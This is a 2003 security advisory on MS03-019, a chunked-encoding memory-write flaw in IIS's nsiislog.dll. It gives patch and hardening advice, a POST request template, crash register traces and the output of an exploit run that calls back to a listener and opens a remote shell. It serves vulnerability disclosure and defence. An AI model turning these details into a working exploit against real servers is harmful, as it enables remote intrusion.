Security-Assessment.com – Vulnerability Advisory

Name	Windows Media Services Remote Command Execution #1
Microsoft Advisory	http ://www.microsoft.com/technet/security/bulletin/ms03-019.asp
Date Released	May 30, 2003
Affected Software	Microsoft Windows NT 4.0 Microsoft Windows 2000
Researcher	Brett Moore brett.moore@security-assessment.com

Description
The nsiislog.dll module does not properly handle requests that are sent using the chunked encoding transfer method. By sending a chunked encoded post to nsiislog.dll with a large body, an attacker can cause an IIS subsystem to stop with an access violation error, resulting in the following log message.

```
Event Type:     Warning
Event Source:   W3SVC
Event Category:None
Event ID:       37
Description:
Out of process application '/LM/W3SVC/1/Root' terminated unexpectedly.
```

At the time of the error, attacker supplied data is been used in a write operation. This allows an attacker to write data to a memory location leading to remote command execution with privileges associated with the IWAM_machinename account. This is the account that IIS runs under.

Solutions
Every day is a 0-day day on the Internet. Limiting the avenues of attack can be a key factor in reducing the risk to a web server. Programs such as secureIIS and URLscan should be setup to reduce the number of methods that can be used to send data to a server. Removing unnecessary services, files and isapi extensions reduces the number of listeners that data can be fed to limiting the number of vulnerabilities that a server is susceptible to.

Install the vendor supplied patch.
http://www.microsoft.com/technet/security/bulletin/ms03-019.asp

About Security-Assessment.com

Security-Assessment.com is a leader in intrusion testing and security code review, and leads the world with SA-ISO, online ISO17799 compliance management solution. Security-Assessment.com is committed to security research and development, and its team have previously identified a number of vulnerabilities in public and private software vendors products.

Technical Details

```
== Chunked Transfer-Encoding Post ==

POST /scripts/nsiislog.dll HTTP/1.1
Transfer-Encoding: chunked

PostLength
PostData
0

Using Size: 121
Connecting....Sending Buffer....
78003F25   dec        dword ptr [ecx+0ACh]
-
7800F5ED   dec        dword ptr [esi]            ESI = 58585858

Using Size: 510
Connecting....Sending Buffer....
77FC8FE1   mov        dword ptr [ecx],eax        EAX = 58585858
                                                 ECX = 58585858
Using Size: 5000
Connecting....Sending Buffer....
40F01DCC   rep movs    dword ptr [edi],dword ptr [esi]
-
77FC8FE1   mov        dword ptr [ecx],eax        EAX = 58585858
                                                 ECX = 58585858
```

The infamous 'mov dword ptr [ecx],eax' which allows an attacker to take control by placing a value into a position that is later retrieved for the EIP register. In this case the exception was handled internally so execution flow could not be obtained by taking advantage of SEH, but we were successful in obtaining control by overwriting a portion of another 3 letter acronym.

```
== Exploit Example ==

%:\>exploit 192.168.1.63
** IISNSLOG.DLL - 4.1.0.3920 - Remote Shell **
. Calling Home: blackhole:2000
. Using: 0x########h as ABC overwrite
. Using: 0x########h as direct jump location
. Shellcode Size: 322 bytes
. Preparing Exploit Buffer......Ready
. Starting Listener On Port: 2000
. Connecting To Target
. Sending Exploit......Exploit Sent
. Connection Received
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\WINNT\system32>whoami
IWAM_BLACKHOLE
C:\WINNT\system32>
```

For further information on this issue or any of our service offerings, contact us

Web www.security-assessment.com
Email info@security-assessment.com
Phone +649 302 5093